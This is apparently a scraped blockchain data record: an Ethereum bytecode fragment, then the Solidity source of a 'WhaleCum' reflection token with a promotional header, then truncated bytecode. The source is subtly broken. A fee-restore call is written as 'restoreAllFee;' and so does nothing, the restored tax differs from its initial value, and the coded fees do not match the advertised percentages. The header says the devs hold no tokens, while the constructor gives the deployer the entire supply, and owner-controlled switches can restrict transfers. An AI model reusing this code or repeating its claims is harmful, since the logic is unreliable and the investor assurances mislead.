a74565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60045481565b6000606060048101600036905010151515610a9757fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610ad357600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610b2157600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515610bac57600080fd5b610bfe83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd083600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da283600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eba57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f3f573d6000803e3d6000fd5b505050565b662386f26fc1000081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fad57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ffb57600080fd5b33905061105082600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a882600454611cb790919063ffffffff16565b6004819055506110c382600554611cb790919063ffffffff16565b6005819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117757600080fd5b6111818282611cec565b5050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e357600080fd5b600090505b825181101561121f57611212838281518110151561120257fe5b9060200190602002015183611cec565b80806001019150506111e8565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f454d50000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130457600080fd5b600760009054906101000a900460ff1615151561132057600080fd5b6001600760006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ca57600080fd5b806006819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b600060406004810160003690501015151561142257fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561145e57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114ac57600080fd5b6114fe83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159383600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600760009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156116fc57600080fd5b505af1158015611710573d6000803e3d6000fd5b505050506040513d602081101561172657600080fd5b81019080805190602001909291905050509050809250505092915050565b60065481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183257600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156118d057600080fd5b505af11580156118e4573d6000803e3d6000fd5b505050506040513d60208110156118fa57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119d257600080fd5b505af11580156119e6573d6000803e3d6000fd5b505050506040513d60208110156119fc57600080fd5b810190808051906020019092919050505092505050919050565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611af05780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600080831415611b065760009050611b25565b8183029050818382811515611b1757fe5b04141515611b2157fe5b8090505b92915050565b6000600760009054906101000a900460ff16151515611b4957600080fd5b611b5e82600554611cd090919063ffffffff16565b600581905550611bb682600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611cc557fe5b818303905092915050565b60008183019050828110151515611ce357fe5b80905092915050565b600081111515611cfb57600080fd5b600454600554101515611d0d57600080fd5b611d5f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd090919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db781600554611cd090919063ffffffff16565b600581905550600454600554101515611de6576001600760006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058209e506fa4b4e0e288929d40e577b6b6dc9dda7c37676eefd4344894b670b536570029
[ 14 ]
0xf2ebb20a325fe25efd86f598a2bdbd3ca6ee23da
/* Telegram: https://t.me/whalecumofficial Website: https://whalecum.net/ WhaleCum will launch without a presale, neither private nor public, with anti bot measures in place. Liquidity will be provided by the devs, who will be rewarded by a 5-6% transaction fee directly in Ethereum to prevent dumping. The devs will own 0 WhaleCum tokens unless they personally decide to buy on Launch, like the rest of the community members. *Anti Bot measures includes a buy limit at launch as well as a cooldown timer to prevent bots or any person to buy large stacks. *Devs are rewarded in Ethereum, by a small transaction fee. No marketing/team wallets are present, the devs can't dump $WCUM by design. *Everyone can participate in the launch, no public or private presale. Token Information 1. 1,000,000,000,000 Total Supply 2. 0,2% transaction buy limit on launch (will be lifted after launch) 3. Sells limited to <2.5% price impact (lower than 2.5%) 4. Sell cooldown increases on consecutive sells, 4 sells within a 8 hours period are allowed (1H, 2H, 4H, 8H) 5. 2% redistribution to holders on all buys 6. 2% goes to liquidity 7. 3% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells 8. 5-6% developer fee split within the team */ /* SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract WhaleCum is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WhaleCum"; string private constant _symbol = "WCUM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; uint256 private _liquidityFee = 2; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _numTokensSellToAddToLiquidity = 1.5 * 10**9 * 10**9; uint256 private _maxTxAmount = _tTotal; uint256 private _totalTeamFee = 0; uint256 private _totalLiquidityFee = 0; event MaxTxAmountUpdated(uint256 _maxTxAmount); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity, uint256 contractTokenBalance ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0 && _liquidityFee == 0) return; _taxFee = 0; _teamFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = 3; _teamFee = 5; _liquidityFee = 2; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = _totalLiquidityFee; bool overMinTokenBalance = contractTokenBalance >= _numTokensSellToAddToLiquidity; if (overMinTokenBalance && !inSwap && from != uniswapV2Pair) { contractTokenBalance = _numTokensSellToAddToLiquidity; swapAndLiquify(contractTokenBalance); _totalLiquidityFee = _totalLiquidityFee.sub(contractTokenBalance); } if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } contractTokenBalance = _totalTeamFee; if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(25).div(1000) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (8 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (4 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (8 hours); } swapTokensForEth(contractTokenBalance); _totalTeamFee = 0; uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _totalTeamFee = _totalTeamFee.add(rTeam); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _totalLiquidityFee = _totalLiquidityFee.add(rLiquidity); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { uint256 __tAmount = tAmount; (uint256 tTransferAmount, uint256 tFee, uint256 tTeam, uint256 tLiquidity) = _getTValues(__tAmount, _taxFee, _teamFee, _liquidityFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(__tAmount, tFee, tTeam, tLiquidity, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam, tLiquidity); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 liquidityFee) private pure returns (uint256, uint256, uint256, uint256) { uint256 __tAmount = tAmount; uint256 tFee = __tAmount.mul(taxFee).div(100); uint256 tTeam = __tAmount.mul(teamFee).div(100); uint256 tLiquidity = __tAmount.mul(liquidityFee).div(100); uint256 tTransferAmount = __tAmount.sub(tFee).sub(tTeam).sub(tLiquidity); return (tTransferAmount, tFee, tTeam, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 0, "Amount must be greater than 0"); _maxTxAmount = maxTxAmount; emit MaxTxAmountUpdated(_maxTxAmount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current BNB balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for BNB swapTokensForETH(half); // how much BNB did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf, contractTokenBalance); } function swapTokensForETH(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b60405161013091906138d1565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190613458565b610418565b60405161016d91906138b6565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613a53565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190613409565b610447565b6040516101d591906138b6565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b6040516102009190613b0d565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190613494565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b919061337b565b61064d565b60405161027d9190613a53565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf91906137e8565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea91906138d1565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190613458565b610857565b60405161032791906138b6565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b50610385600480360381019061038091906134e6565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a991906133cd565b610ad5565b6040516103bb9190613a53565b60405180910390f35b3480156103d057600080fd5b506103d9610b5c565b005b60606040518060400160405280600881526020017f5768616c6543756d000000000000000000000000000000000000000000000000815250905090565b600061042c610425611068565b8484611070565b6001905092915050565b6000683635c9adc5dea00000905090565b600061045484848461123b565b61051584610460611068565b610510856040518060600160405280602881526020016140f760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611068565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120bf9092919063ffffffff16565b611070565b600190509392505050565b60006009905090565b610531611068565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906139b3565b60405180910390fd5b80601360186101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611068565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a81612123565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221e565b9050919050565b6106a6611068565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906139b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5743554d00000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611068565b848461123b565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611068565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec8161228c565b50565b6108f7611068565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906139b3565b60405180910390fd5b601360159054906101000a900460ff1661099d57600080fd5b6001601360146101000a81548160ff021916908315150217905550565b6109c2611068565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f